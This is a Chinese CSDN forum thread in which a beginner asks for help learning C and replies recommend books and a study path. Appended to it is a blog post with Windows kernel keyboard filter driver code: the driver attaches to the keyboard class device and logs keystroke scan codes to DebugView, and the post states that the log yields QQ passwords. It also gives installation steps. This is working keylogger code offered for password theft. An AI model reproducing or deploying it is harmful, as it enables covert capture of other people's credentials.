求大神教我学习c语言,留下qq,互相进步!

刻苦钻研 2014-01-03 11:23:07
我的qq1414478645欢迎大家加我,加我请说明是新手乐园的,谢谢!
...全文
153 12 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
12 条回复
切换为时间正序
请发表友善的回复…
发表回复
qthsrs232 2014-01-04
  • 打赏
  • 举报
回复
给你推荐几本CSDN上的PDF电子书,你可以在"我的论坛/下载分兑换"处换分去下载!!!每个人都有分可以用的! C语言入门+电子书 PDF----http://download.csdn.net/download/cuirh19/4106607 c语言基础教程.pdf----http://download.csdn.net/download/cscadn/4980741
qthsrs232 2014-01-04
  • 打赏
  • 举报
回复
C语言程序设计基础及进阶教程----http://www.docin.com/p-667617983.html
qthsrs232 2014-01-04
  • 打赏
  • 举报
回复
C语言进阶与强化----http://book.douban.com/doulist/1559389/
xqhrs232 2014-01-04
  • 打赏
  • 举报
回复
qthsrs232 2014-01-04
  • 打赏
  • 举报
回复
qthsrs232 2014-01-04
  • 打赏
  • 举报
回复
多找几本电子书看看,还有视频,还有别人的博客文章,还有不懂就百度/Google,多看多想多动手!!! 不懂还可以上CSDN上问问大家!!! 看的懂书/东西请仔细看,看不懂的书/东西请硬着头皮看!!!
qthsrs232 2014-01-04
  • 打赏
  • 举报
回复
计算机组成原理→DOS命令→汇编语言→C语言(不包括C++)、代码书写规范→数据结构、编译原理、操作系统→计算机网络、数据库原理、正则表达式→其它语言(包括C++)、架构……
xqhrs232 2014-01-04
  • 打赏
  • 举报
回复
找本基础的书看看-----基本的语法,三种程序结构,程序的开始main( )主函数,几种循环,变量/常良,函数,数据类型,运算符等等。其实C语言没太多的东西!
xqhrs232 2014-01-04
  • 打赏
  • 举报
回复
慢慢来,自己先找本基本的书学习一下。 同等水平下才能算是交流,要不然成飞流直下三千尺!!!
http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.csdn.net/xiaoxiao108/article/details/7563159

15,447

社区成员

发帖
与我相关
我的任务
社区描述
C/C++ 非技术区
社区管理员
  • 非技术区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧